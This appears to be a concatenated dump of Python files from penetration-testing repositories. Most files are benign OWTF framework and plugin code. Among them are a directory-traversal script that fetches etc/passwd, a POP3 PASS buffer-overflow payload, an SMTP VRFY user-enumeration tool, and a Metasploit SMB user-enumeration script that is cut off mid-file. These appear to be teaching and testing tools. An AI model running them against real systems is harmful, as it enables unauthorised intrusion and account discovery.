35.376923
159
0.645516
owtf
""" owtf.utils.error ~~~~~~~~~~~~~~~~ The error handler provides a centralised control for aborting the application and logging errors for debugging later. """ import logging import multiprocessing import signal import sys try: from raven.contrib.tornado import AsyncSentryClient raven_installed = True except ImportError: raven_installed = False from owtf.settings import SENTRY_API_KEY from owtf.lib.exceptions import FrameworkAbortException, PluginAbortException __all__ = [ "abort_framework", "user_abort", "get_option_from_user", "SentryProxy", "get_sentry_client", "log_and_exit_handler", "setup_signal_handlers", ] command = None len_padding = 100 padding = "\n{}\n\n".format("_" * len_padding) sub_padding = "\n{}\n".format("*" * len_padding) def abort_framework(message): """Abort the OWTF framework. :warning: If it happens really early and :class:`framework.core.Core` has note been instantiated yet, `sys.exit()` is called with error code -1 :param str message: Descriptive message about the abort. :return: full message explaining the abort. :rtype: str """ message = "Aborted by Framework: {0}".format(message) logging.error(message) sys.exit(message) def get_option_from_user(options): """Give the user options to select :param options: Set of available options for the user :type options: `str` :return: The different options for the user to choose from :rtype: `str` """ return input("Options: 'e'+Enter= Exit {!s}, Enter= Next test\n".format(options)) def user_abort(level, partial_output=""): """This function handles the next steps when a user presses Ctrl-C :param level: The level which was aborted :type level: `str` :param partial_output: Partial output generated by the command or plugin :type partial_output: `str` :return: Message to present to the user :rtype: `str` """ # Levels so far can be Command or Plugin logging.info("\nThe %s was aborted by the user: Please check the report and plugin output files", level) message = ("\nThe {} was aborted by the user: Please check the report and plugin output files".format(level)) if level == "Command": option = "p" if option == "e": # Try to save partial plugin results. raise FrameworkAbortException(partial_output) elif option == "p": # Move on to next plugin. # Jump to next handler and pass partial output to avoid losing results. raise PluginAbortException(partial_output) return message signame_by_signum = {v: k for k, v in signal.__dict__.items() if k.startswith("SIG") and not k.startswith("SIG_")} class SentryProxy(object): """Simple proxy for sentry client that logs to stderr even if no sentry client exists.""" def __init__(self, sentry_client): self.sentry_client = sentry_client def capture_exception(self, exc_info=None, **kwargs): if self.sentry_client: self.sentry_client.capture_exception(exc_info=exc_info, **kwargs) logging.exception("exception occurred") def get_sentry_client(sentry_key=SENTRY_API_KEY): if sentry_key and raven_installed: logging.info("[+] Sentry client setup key: %s", sentry_key) sentry_client = SentryProxy(sentry_client=AsyncSentryClient(sentry_key)) else: if not sentry_key: logging.info("[-] No Sentry key specified") if not raven_installed: logging.info("[-] Raven (sentry client) not installed") sentry_client = SentryProxy(sentry_client=None) return sentry_client def log_and_exit_handler(signum, frame): logging.debug("%s: caught signal %s, exiting", multiprocessing.current_process().name, signame_by_signum[signum]) sys.exit(1) def setup_signal_handlers(): """Setup the handlers""" for signum in [signal.SIGINT, signal.SIGTERM]: signal.signal(signum, log_and_exit_handler)
29.300752
117
0.669645
owtf
""" owtf.utils.signals ~~~~~~~~~~~~~~~~~~ Most of it taken from the Flask code. """ signals_available = False try: from blinker import Namespace signals_available = True except ImportError: class Namespace(object): def signal(self, name, doc=None): return _FakeSignal(name, doc) class _FakeSignal(object): """If blinker is unavailable, create a fake class with the same interface that allows sending of signals but will fail with an error on anything else. Instead of doing anything on send, it will just ignore the arguments and do nothing instead. """ def __init__(self, name, doc=None): self.name = name self.__doc__ = doc def _fail(self, *args, **kwargs): raise RuntimeError("Signalling support is unavailable because the blinker library is not installed.") send = lambda *a, **kw: None connect = disconnect = has_receivers_for = receivers_for = temporarily_connected_to = connected_to = _fail del _fail __all__ = ["_signals", "owtf_exit", "owtf_start", "workers_finish"] # The namespace for code signals. _signals = Namespace() # Core signals owtf_start = _signals.signal("owtf-start") owtf_exit = _signals.signal("owtf-exit") workers_finish = _signals.signal("workers-finish")
27.125
114
0.638992
cybersecurity-penetration-testing
import requests import sys url = "http://127.0.0.1/traversal/third.php?id=" payloads = {'etc/passwd': 'root'} up = "../" i = 0 for payload, string in payloads.iteritems(): while i < 7: req = requests.post(url+(i*up)+payload) if string in req.text: print "Parameter vulnerable\r\n" print "Attack string: "+(i*up)+payload+"\r\n" print req.text break i = i+1 i = 0
21.529412
48
0.638743
owtf
""" PASSIVE Plugin for Testing for Web Application Fingerprint (OWASP-IG-004) """ from owtf.managers.resource import get_resources from owtf.plugin.helper import plugin_helper DESCRIPTION = "Third party resources and fingerprinting suggestions" def run(PluginInfo): mapping = [ ["All", "CMS_FingerPrint_All"], ["WordPress", "CMS_FingerPrint_WordPress"], ["Joomla", "CMS_FingerPrint_Joomla"], ["Drupal", "CMS_FingerPrint_Drupal"], ["Mambo", "CMS_FingerPrint_Mambo"], ] # Vuln search box to be built in core and reused in different plugins: Content = plugin_helper.VulnerabilitySearchBox("") resource = get_resources("PassiveFingerPrint") Content += plugin_helper.resource_linklist("Online Resources", resource) Content += plugin_helper.SuggestedCommandBox( PluginInfo, mapping, "CMS Fingerprint - Potentially useful commands" ) return Content
34.769231
76
0.698601
owtf
""" PASSIVE Plugin for Testing for SQL Injection (OWASP-DV-005) https://www.owasp.org/index.php/Testing_for_SQL_Injection_%28OWASP-DV-005%29 """ from owtf.managers.resource import get_resources from owtf.plugin.helper import plugin_helper DESCRIPTION = "Google Hacking for SQLi" def run(PluginInfo): resource = get_resources("PassiveSQLInjectionLnk") Content = plugin_helper.resource_linklist("Online Resources", resource) return Content
29.266667
76
0.768212
owtf
from owtf.managers.resource import get_resources from owtf.plugin.helper import plugin_helper DESCRIPTION = "XML Injection Plugin to assist manual testing" def run(PluginInfo): resource = get_resources("ExternalXMLInjection") Content = plugin_helper.resource_linklist("Online Resources", resource) return Content
28.909091
75
0.783537
Penetration_Testing
#!/usr/bin/python ''' Caesar Cipher brute-force decryption. ''' import string def getMessage(): print "Enter the message you want to decrypt:" return raw_input() def caesar_bruteforce(message): alphabet = string.ascii_lowercase + string.ascii_uppercase for key in range(27): converted = "" for symbol in message: if symbol in alphabet: num = alphabet.find(symbol) num = num - key if num < 0: num = num + 26 converted = converted + alphabet[num] else: converted = converted + symbol print "Key #{}: {}".format(key, converted) message = getMessage() print "\nYour converted text is:" print caesar_bruteforce(message)
15.414634
59
0.669643
cybersecurity-penetration-testing
#/usr/bin/env python ''' Author: Chris Duffy Date: March 2015 Name: smtp_vrfy.py Purpose: To validate users on a box running SMTP Copyright (c) 2015, Christopher Duffy All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. * Neither the name of the nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL CHRISTOPHER DUFFY BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. ''' import socket, time, argparse, os, sys def read_file(filename): with open(filename) as file: lines = file.read().splitlines() return lines def verify_smtp(verbose, filename, ip, timeout_value, sleep_value, port=25): if port is None: port=int(25) elif port is "": port=int(25) else: port=int(port) if verbose > 0: print "[*] Connecting to %s on port %s to execute the test" % (ip, port) valid_users=[] username_list = read_file(filename) for user in username_list: try: sys.stdout.flush() s=socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(timeout_value) connect=s.connect((ip,port)) banner=s.recv(1024) if verbose > 0: print("[*] The system banner is: '%s'") % (str(banner)) command='VRFY ' + user + '\n' if verbose > 0: print("[*] Executing: %s") % (command) print("[*] Testing entry %s of %s") % (str(username_list.index(user)),str( len(username_list))) s.send(command) result=s.recv(1024) if "252" in result: valid_users.append(user) if verbose > 1: print("[+] Username %s is valid") % (user) if "550" in result: if verbose > 1: print "[-] 550 Username does not exist" if "503" in result: print("[!] The server requires authentication") break if "500" in result: print("[!] The VRFY command is not supported") break except IOError as e: if verbose > 1: print("[!] The following error occured: '%s'") % (str(e)) if 'Operation now in progress' in e: print("[!] The connection to SMTP failed") break finally: if valid_users and verbose > 0: print("[+] %d User(s) are Valid" % (len(valid_users))) elif verbose > 0 and not valid_users: print("[!] No valid users were found") s.close() if sleep_value is not 0: time.sleep(sleep_value) sys.stdout.flush() return valid_users def write_username_file(username_list, filename, verbose): open(filename, 'w').close() #Delete contents of file name if verbose > 1: print("[*] Writing to %s") % (filename) with open(filename, 'w') as file: file.write('\n'.join(username_list)) return if __name__ == '__main__': # If script is executed at the CLI usage = '''usage: %(prog)s [-u username_file] [-f output_filename] [-i ip address] [-p port_number] [-t timeout] [-s sleep] -q -v -vv -vvv''' parser = argparse.ArgumentParser(usage=usage) parser.add_argument("-u", "--usernames", type=str, help="The usernames that are to be read", action="store", dest="username_file") parser.add_argument("-f", "--filename", type=str, help="Filename for output the confirmed usernames", action="store", dest="filename") parser.add_argument("-i", "--ip", type=str, help="The IP address of the target system", action="store", dest="ip") parser.add_argument("-p","--port", type=int, default=25, action="store", help="The port of the target system's SMTP service", dest="port") parser.add_argument("-t","--timeout", type=float, default=1, action="store", help="The timeout value for service responses in seconds", dest="timeout_value") parser.add_argument("-s","--sleep", type=float, default=0.0, action="store", help="The wait time between each request in seconds", dest="sleep_value") parser.add_argument("-v", action="count", dest="verbose", default=1, help="Verbosity level, defaults to one, this outputs each command and result") parser.add_argument("-q", action="store_const", dest="verbose", const=0, help="Sets the results to be quiet") parser.add_argument('--version', action='version', version='%(prog)s 0.42b') args = parser.parse_args() # Set Constructors username_file = args.username_file # Usernames to test filename = args.filename # Filename for outputs verbose = args.verbose # Verbosity level ip = args.ip # IP Address to test port = args.port # Port for the service to test timeout_value = args.timeout_value # Timeout value for service connections sleep_value = args.sleep_value # Sleep value between requests dir = os.getcwd() # Get current working directory username_list =[] # Argument Validator if len(sys.argv)==1: parser.print_help() sys.exit(1) if not filename: if os.name != "nt": filename = dir + "/confirmed_username_list" else: filename = dir + "\\confirmed_username_list" else: if filename: if "\\" or "/" in filename: if verbose > 1: print("[*] Using filename: %s") % (filename) else: if os.name != "nt": filename = dir + "/" + filename else: filename = dir + "\\" + filename if verbose > 1: print("[*] Using filename: %s") % (filename) username_list = verify_smtp(verbose, username_file, ip, timeout_value, sleep_value, port) if len(username_list) > 0: write_username_file(username_list, filename, verbose)
45.947712
161
0.613617
owtf
from owtf.plugin.helper import plugin_helper DESCRIPTION = "Plugin to assist manual testing" def run(PluginInfo): Content = plugin_helper.HtmlString("Intended to show helpful info in the future") return Content
23.777778
85
0.765766
Hands-On-Penetration-Testing-with-Python
#!/usr/bin/python import socket buffer=["A"] counter=100 string="A"*2606 + "B"*4 +"C"*400 if 1: print"Fuzzing PASS with %s bytes" % len(string) s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) connect=s.connect(('192.168.250.136',110)) data=s.recv(1024) #print str(data) s.send('USER root\r\n') data=s.recv(1024) print str(data) s.send('PASS ' + string + '\r\n') data=s.recv(1024) print str(data) print "done" #s.send('QUIT\r\n') #s.close()
18.296296
54
0.576923
owtf
""" Plugin for probing x11 """ from owtf.managers.resource import get_resources from owtf.plugin.helper import plugin_helper DESCRIPTION = " x11 Probing " def run(PluginInfo): resource = get_resources("X11ProbeMethods") return plugin_helper.CommandDump( "Test Command", "Output", resource, PluginInfo, [] ) # No previous output
22.533333
58
0.713068
PenetrationTestingScripts
__all__ = [ 'AbstractBasicAuthHandler', 'AbstractDigestAuthHandler', 'BaseHandler', 'Browser', 'BrowserStateError', 'CacheFTPHandler', 'ContentTooShortError', 'Cookie', 'CookieJar', 'CookiePolicy', 'DefaultCookiePolicy', 'DefaultFactory', 'FTPHandler', 'Factory', 'FileCookieJar', 'FileHandler', 'FormNotFoundError', 'FormsFactory', 'HTTPBasicAuthHandler', 'HTTPCookieProcessor', 'HTTPDefaultErrorHandler', 'HTTPDigestAuthHandler', 'HTTPEquivProcessor', 'HTTPError', 'HTTPErrorProcessor', 'HTTPHandler', 'HTTPPasswordMgr', 'HTTPPasswordMgrWithDefaultRealm', 'HTTPProxyPasswordMgr', 'HTTPRedirectDebugProcessor', 'HTTPRedirectHandler', 'HTTPRefererProcessor', 'HTTPRefreshProcessor', 'HTTPResponseDebugProcessor', 'HTTPRobotRulesProcessor', 'HTTPSClientCertMgr', 'HeadParser', 'History', 'LWPCookieJar', 'Link', 'LinkNotFoundError', 'LinksFactory', 'LoadError', 'MSIECookieJar', 'MozillaCookieJar', 'OpenerDirector', 'OpenerFactory', 'ParseError', 'ProxyBasicAuthHandler', 'ProxyDigestAuthHandler', 'ProxyHandler', 'Request', 'RobotExclusionError', 'RobustFactory', 'RobustFormsFactory', 'RobustLinksFactory', 'RobustTitleFactory', 'SeekableResponseOpener', 'TitleFactory', 'URLError', 'USE_BARE_EXCEPT', 'UnknownHandler', 'UserAgent', 'UserAgentBase', 'XHTMLCompatibleHeadParser', '__version__', 'build_opener', 'install_opener', 'lwp_cookie_str', 'make_response', 'request_host', 'response_seek_wrapper', # XXX deprecate in public interface? 'seek_wrapped_response', # XXX should probably use this internally in place of response_seek_wrapper() 'str2time', 'urlopen', 'urlretrieve', 'urljoin', # ClientForm API 'AmbiguityError', 'ControlNotFoundError', 'FormParser', 'ItemCountError', 'ItemNotFoundError', 'LocateError', 'Missing', 'ParseFile', 'ParseFileEx', 'ParseResponse', 'ParseResponseEx', 'ParseString', 'XHTMLCompatibleFormParser', # deprecated 'CheckboxControl', 'Control', 'FileControl', 'HTMLForm', 'HiddenControl', 'IgnoreControl', 'ImageControl', 'IsindexControl', 'Item', 'Label', 'ListControl', 'PasswordControl', 'RadioControl', 'ScalarControl', 'SelectControl', 'SubmitButtonControl', 'SubmitControl', 'TextControl', 'TextareaControl', ] import logging import sys from _version import __version__ # high-level stateful browser-style interface from _mechanize import \ Browser, History, \ BrowserStateError, LinkNotFoundError, FormNotFoundError # configurable URL-opener interface from _useragent import UserAgentBase, UserAgent from _html import \ Link, \ Factory, DefaultFactory, RobustFactory, \ FormsFactory, LinksFactory, TitleFactory, \ RobustFormsFactory, RobustLinksFactory, RobustTitleFactory # urllib2 work-alike interface. This is a superset of the urllib2 interface. from _urllib2 import * import _urllib2 if hasattr(_urllib2, "HTTPSHandler"): __all__.append("HTTPSHandler") del _urllib2 # misc from _http import HeadParser from _http import XHTMLCompatibleHeadParser from _opener import ContentTooShortError, OpenerFactory, urlretrieve from _response import \ response_seek_wrapper, seek_wrapped_response, make_response from _rfc3986 import urljoin from _util import http2time as str2time # cookies from _clientcookie import Cookie, CookiePolicy, DefaultCookiePolicy, \ CookieJar, FileCookieJar, LoadError, request_host_lc as request_host, \ effective_request_host from _lwpcookiejar import LWPCookieJar, lwp_cookie_str # 2.4 raises SyntaxError due to generator / try/finally use if sys.version_info[:2] > (2,4): try: import sqlite3 except ImportError: pass else: from _firefox3cookiejar import Firefox3CookieJar from _mozillacookiejar import MozillaCookieJar from _msiecookiejar import MSIECookieJar # forms from _form import ( AmbiguityError, ControlNotFoundError, FormParser, ItemCountError, ItemNotFoundError, LocateError, Missing, ParseError, ParseFile, ParseFileEx, ParseResponse, ParseResponseEx, ParseString, XHTMLCompatibleFormParser, # deprecated CheckboxControl, Control, FileControl, HTMLForm, HiddenControl, IgnoreControl, ImageControl, IsindexControl, Item, Label, ListControl, PasswordControl, RadioControl, ScalarControl, SelectControl, SubmitButtonControl, SubmitControl, TextControl, TextareaControl, ) # If you hate the idea of turning bugs into warnings, do: # import mechanize; mechanize.USE_BARE_EXCEPT = False USE_BARE_EXCEPT = True logger = logging.getLogger("mechanize") if logger.level is logging.NOTSET: logger.setLevel(logging.CRITICAL) del logger
23.051887
108
0.68674
Effective-Python-Penetration-Testing
# -*- coding: utf-8 -*- # Scrapy settings for testSpider project # # For simplicity, this file contains only settings considered important or # commonly used. You can find more settings consulting the documentation: # # http://doc.scrapy.org/en/latest/topics/settings.html # http://scrapy.readthedocs.org/en/latest/topics/downloader-middleware.html # http://scrapy.readthedocs.org/en/latest/topics/spider-middleware.html BOT_NAME = 'testSpider' SPIDER_MODULES = ['testSpider.spiders'] NEWSPIDER_MODULE = 'testSpider.spiders' # Crawl responsibly by identifying yourself (and your website) on the user-agent #USER_AGENT = 'testSpider (+http://www.yourdomain.com)' # Configure maximum concurrent requests performed by Scrapy (default: 16) #CONCURRENT_REQUESTS = 32 # Configure a delay for requests for the same website (default: 0) # See http://scrapy.readthedocs.org/en/latest/topics/settings.html#download-delay # See also autothrottle settings and docs #DOWNLOAD_DELAY = 3 # The download delay setting will honor only one of: #CONCURRENT_REQUESTS_PER_DOMAIN = 16 #CONCURRENT_REQUESTS_PER_IP = 16 # Disable cookies (enabled by default) #COOKIES_ENABLED = False # Disable Telnet Console (enabled by default) #TELNETCONSOLE_ENABLED = False # Override the default request headers: #DEFAULT_REQUEST_HEADERS = { # 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', # 'Accept-Language': 'en', #} # Enable or disable spider middlewares # See http://scrapy.readthedocs.org/en/latest/topics/spider-middleware.html #SPIDER_MIDDLEWARES = { # 'testSpider.middlewares.MyCustomSpiderMiddleware': 543, #} # Enable or disable downloader middlewares # See http://scrapy.readthedocs.org/en/latest/topics/downloader-middleware.html #DOWNLOADER_MIDDLEWARES = { # 'testSpider.middlewares.MyCustomDownloaderMiddleware': 543, #} # Enable or disable extensions # See http://scrapy.readthedocs.org/en/latest/topics/extensions.html #EXTENSIONS = { # 'scrapy.extensions.telnet.TelnetConsole': None, #} # Configure item pipelines # See http://scrapy.readthedocs.org/en/latest/topics/item-pipeline.html #ITEM_PIPELINES = { # 'testSpider.pipelines.SomePipeline': 300, #} # Enable and configure the AutoThrottle extension (disabled by default) # See http://doc.scrapy.org/en/latest/topics/autothrottle.html #AUTOTHROTTLE_ENABLED = True # The initial download delay #AUTOTHROTTLE_START_DELAY = 5 # The maximum download delay to be set in case of high latencies #AUTOTHROTTLE_MAX_DELAY = 60 # The average number of requests Scrapy should be sending in parallel to # each remote server #AUTOTHROTTLE_TARGET_CONCURRENCY = 1.0 # Enable showing throttling stats for every response received: #AUTOTHROTTLE_DEBUG = False # Enable and configure HTTP caching (disabled by default) # See http://scrapy.readthedocs.org/en/latest/topics/downloader-middleware.html#httpcache-middleware-settings #HTTPCACHE_ENABLED = True #HTTPCACHE_EXPIRATION_SECS = 0 #HTTPCACHE_DIR = 'httpcache' #HTTPCACHE_IGNORE_HTTP_CODES = [] #HTTPCACHE_STORAGE = 'scrapy.extensions.httpcache.FilesystemCacheStorage'
34.386364
109
0.767748
owtf
""" owtf.api.handlers.health ~~~~~~~~~~~~~~~~~~~~~~~~ """ from owtf.api.handlers.base import APIRequestHandler __all__ = ["HealthCheckHandler"] class HealthCheckHandler(APIRequestHandler): """API server health check""" SUPPORTED_METHODS = ["GET"] def get(self): """A debug endpoint to check whether the application is alive. **Example request**: .. sourcecode:: http GET /debug/health HTTP/1.1 Accept: application/json **Example response**: .. sourcecode:: http HTTP/1.1 200 OK Content-Type: application/json { "status": "success", "data": { "status": "ok" } } """ self.success({"status": "ok"})
18.95122
70
0.495716
cybersecurity-penetration-testing
import argparse import os import sys import usb_lookup __author__ = 'Preston Miller & Chapin Bryce' __date__ = '20160401' __version__ = 0.03 __description__ = 'This scripts reads a Windows 7 Setup API log and prints USB Devices to the user' def main(in_file): """ Main function to handle operation :param in_file: Str - Path to setupapi log to analyze :return: None """ if os.path.isfile(in_file): device_information = parseSetupapi(in_file) usb_ids = prepUSBLookup() for device in device_information: parsed_info = parseDeviceInfo(device) if isinstance(parsed_info, dict): parsed_info = getDeviceNames(usb_ids, parsed_info) if parsed_info is not None: printOutput(parsed_info) print '\n\n{} parsed and printed successfully.'.format(in_file) else: print 'Input: {} was not found. Please check your path and permissions.'.format(in_file) sys.exit(1) def parseSetupapi(setup_log): """ Read data from provided file for Device Install Events for USB Devices :param setup_log: str - Path to valid setup api log :return: tuple of str - Device name and date """ device_list = list() unique_list = set() with open(setup_log) as in_file: for line in in_file: lower_line = line.lower() if 'device install (hardware initiated)' in lower_line and ('vid' in lower_line or 'ven' in lower_line): device_name = line.split('-')[1].strip() date = next(in_file).split('start')[1].strip() if device_name not in unique_list: device_list.append((device_name, date)) unique_list.add(device_name) return device_list def parseDeviceInfo(device_info): """ Parses Vendor, Product, Revision and UID from a Setup API entry :param device_info: string of device information to parse :return: dictionary of parsed information or original string if error """ # Initialize variables vid = '' pid = '' rev = '' uid = '' # Split string into segments on \\ segments = device_info[0].split('\\') if 'usb' not in segments[0].lower(): return None # Eliminate non-USB devices from output. may hide othe rstorage devices for item in segments[1].split('&'): lower_item = item.lower() if 'ven' in lower_item or 'vid' in lower_item: vid = item.split('_',1)[-1] elif 'dev' in lower_item or 'pid' in lower_item or 'prod' in lower_item: pid = item.split('_',1)[-1] elif 'rev' in lower_item or 'mi' in lower_item: rev = item.split('_',1)[-1] if len(segments) >= 3: uid = segments[2].strip(']') if vid != '' or pid != '': return {'Vendor ID': vid.lower(), 'Product ID': pid.lower(), 'Revision': rev, 'UID': uid, 'First Installation Date': device_info[1]} else: # Unable to parse data, returning whole string return device_info def prepUSBLookup(): """ Prepare the lookup of USB devices through accessing the most recent copy of the database at http://linux-usb.org/usb.ids and parsing it into a queriable dictionary format. """ usb_file = usb_lookup.getUSBFile() return usb_lookup.parseFile(usb_file) def getDeviceNames(usb_dict, device_info): """ Query `usb_lookup.py` for device information based on VID/PID. :param usb_dict: Dictionary from usb_lookup.py of known devices. :param device_info: Dictionary containing 'Vendor ID' and 'Product ID' keys and values. :return: original dictionary with 'Vendor Name' and 'Product Name' keys and values """ device_name = usb_lookup.searchKey(usb_dict, [device_info['Vendor ID'], device_info['Product ID']]) device_info['Vendor Name'] = device_name[0] device_info['Product Name'] = device_name[1] return device_info def printOutput(usb_information): """ Print formatted information about USB Device :param usb_information: dictionary containing key/value information about each device or tuple of device information :return: None """ print '{:-^15}'.format('') if isinstance(usb_information, dict): for key_name, value_name in usb_information.items(): print '{}: {}'.format(key_name, value_name) elif isinstance(usb_information, tuple): print 'Device: {}'.format(usb_information[0]) print 'Date: {}'.format(usb_information[1]) if __name__ == '__main__': # Run this code if the script is run from the command line. parser = argparse.ArgumentParser( description='SetupAPI Parser', version=__version__, epilog='Developed by ' + __author__ + ' on ' + __date__ ) parser.add_argument('IN_FILE', help='Windows 7 SetupAPI file') args = parser.parse_args() # Run main program main(args.IN_FILE)
32.590604
120
0.618305
Python-Penetration-Testing-for-Developers
#!/usr/bin/env python ''' Author: Christopher Duffy Date: March 2015 Name: msfrpc_smb.py Purpose: To scan a network for a smb ports and validate if credentials work on the target host Copyright (c) 2015, Christopher Duffy All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. * Neither the name of the nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL CHRISTOPHER DUFFY BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. ''' import os, argparse, sys, time try: import msfrpc except: sys.exit("[!] Install the msfrpc library that can be found here: https://github.com/SpiderLabs/msfrpc.git") try: import nmap except: sys.exit("[!] Install the nmap library: pip install python-nmap") try: import netifaces except: sys.exit("[!] Install the netifaces library: pip install netifaces") def get_interfaces(): interfaces = netifaces.interfaces() return interfaces def get_gateways(): gateway_dict = {} gws = netifaces.gateways() for gw in gws: try: gateway_iface = gws[gw][netifaces.AF_INET] gateway_ip, iface = gateway_iface[0], gateway_iface[1] gw_list =[gateway_ip, iface] gateway_dict[gw]=gw_list except: pass return gateway_dict def get_addresses(interface): addrs = netifaces.ifaddresses(interface) link_addr = addrs[netifaces.AF_LINK] iface_addrs = addrs[netifaces.AF_INET] iface_dict = iface_addrs[0] link_dict = link_addr[0] hwaddr = link_dict.get('addr') iface_addr = iface_dict.get('addr') iface_broadcast = iface_dict.get('broadcast') iface_netmask = iface_dict.get('netmask') return hwaddr, iface_addr, iface_broadcast, iface_netmask def get_networks(gateways_dict): networks_dict = {} for key, value in gateways_dict.iteritems(): gateway_ip, iface = value[0], value[1] hwaddress, addr, broadcast, netmask = get_addresses(iface) network = {'gateway': gateway_ip, 'hwaddr' : hwaddress, 'addr' : addr, 'broadcast' : broadcast, 'netmask' : netmask} networks_dict[iface] = network return networks_dict def target_identifier(verbose, dir, user, passwd, ips, port_num, ifaces, ipfile): hostlist = [] pre_pend = "smb" service_name = "microsoft-ds" service_name2 = "netbios-ssn" protocol = "tcp" port_state = "open" bufsize = 0 hosts_output = "%s/%s_hosts" % (dir, pre_pend) scanner = nmap.PortScanner() if ipfile != None: if verbose > 0: print("[*] Scanning for hosts from file %s") % (ipfile) with open(ipfile) as f: hostlist = f.read().replace('\n',' ') scanner.scan(hosts=hostlist, ports=port_num) else: if verbose > 0: print("[*] Scanning for host\(s\) %s") % (ips) scanner.scan(ips, port_num) open(hosts_output, 'w').close() hostlist=[] if scanner.all_hosts(): e = open(hosts_output, 'a', bufsize) else: sys.exit("[!] No viable targets were found!") for host in scanner.all_hosts(): for k,v in ifaces.iteritems(): if v['addr'] == host: print("[-] Removing %s from target list since it belongs to your interface!") % (host) host = None if host != None: e = open(hosts_output, 'a', bufsize) if service_name or service_name2 in scanner[host][protocol][int(port_num)]['name']: if port_state in scanner[host][protocol][int(port_num)]['state']: if verbose > 0: print("[+] Adding host %s to %s since the service is active on %s") % (host, hosts_output, port_num) hostdata=host + "\n" e.write(hostdata) hostlist.append(host) else: if verbose > 0: print(print("[-] Host %s is not being added to %s since the service is not active on %s") % (host, hosts_output, port_num)) if not scanner.all_hosts(): e.closed if hosts_output: return hosts_output, hostlist def build_command(verbose, user, passwd, dom, port, ip): module = "auxiliary/scanner/smb/smb_enumusers_domain" command = '''use ''' + module + ''' set RHOSTS ''' + ip + ''' set SMBUser ''' + user + ''' set SMBPass ''' + passwd + ''' set SMBDomain ''' + dom +''' run ''' return command, module def run_commands(verbose, iplist, user, passwd, dom, port, file): bufsize = 0 e = open(file, 'a', bufsize) done = False client = msfrpc.Msfrpc({}) client.login('msf','msfrpcpassword') try: result = client.call('console.create') except: sys.exit("[!] Creation of console failed!") console_id = result['id'] console_id_int = int(console_id) for ip in iplist: if verbose > 0: print("[*] Building custom command for: %s") % (str(ip)) command, module = build_command(verbose, user, passwd, dom, port, ip) if verbose > 0: print("[*] Executing Metasploit module %s on host: %s") % (module, str(ip)) client.call('console.write',[console_id, command]) time.sleep(1) while done != True: result = client.call('console.read',[console_id_int]) if len(result['data']) > 1: if result['busy'] == True: time.sleep(1) continue else: console_output = result['data'] e.write(console_output) if verbose > 0: print(console_output) done = True e.closed client.call('console.destroy',[console_id]) def main(): # If script is executed at the CLI usage = '''usage: %(prog)s [-u username] [-p password] [-d domain] [-t IP] [-l IP_file] [-r ports] [-o output_dir] [-f filename] -q -v -vv -vvv''' parser = argparse.ArgumentParser(usage=usage) parser.add_argument("-u", action="store", dest="username", default="Administrator", help="Accepts the username to be used, defaults to 'Administrator'") parser.add_argument("-p", action="store", dest="password", default="admin", help="Accepts the password to be used, defalts to 'admin'") parser.add_argument("-d", action="store", dest="domain", default="WORKGROUP", help="Accepts the domain to be used, defalts to 'WORKGROUP'") parser.add_argument("-t", action="store", dest="targets", default=None, help="Accepts the IP to be used, can provide a range, single IP or CIDR") parser.add_argument("-l", action="store", dest="targets_file", default=None, help="Accepts a file with IP addresses, ranges, and CIDR notations delinated by new lines") parser.add_argument("-r", action="store", dest="ports", default="445", help="Accepts the port to be used, defalts to '445'") parser.add_argument("-o", action="store", dest="home_dir", default="/root", help="Accepts the dir to store any results in, defaults to /root") parser.add_argument("-f", action="store", dest="filename", default="results", help="Accepts the filename to output relevant results") parser.add_argument("-v", action="count", dest="verbose", default=1, help="Verbosity level, defaults to one, this outputs each command and result") parser.add_argument("-q", action="store_const", dest="verbose", const=0, help="Sets the results to be quiet") parser.add_argument('--version', action='version', version='%(prog)s 0.42b') args = parser.parse_args() # Argument Validator if len(sys.argv)==1: parser.print_help() sys.exit(1) if (args.targets == None) and (args.targets_file == None): parser.print_help() sys.exit(1) # Set Constructors 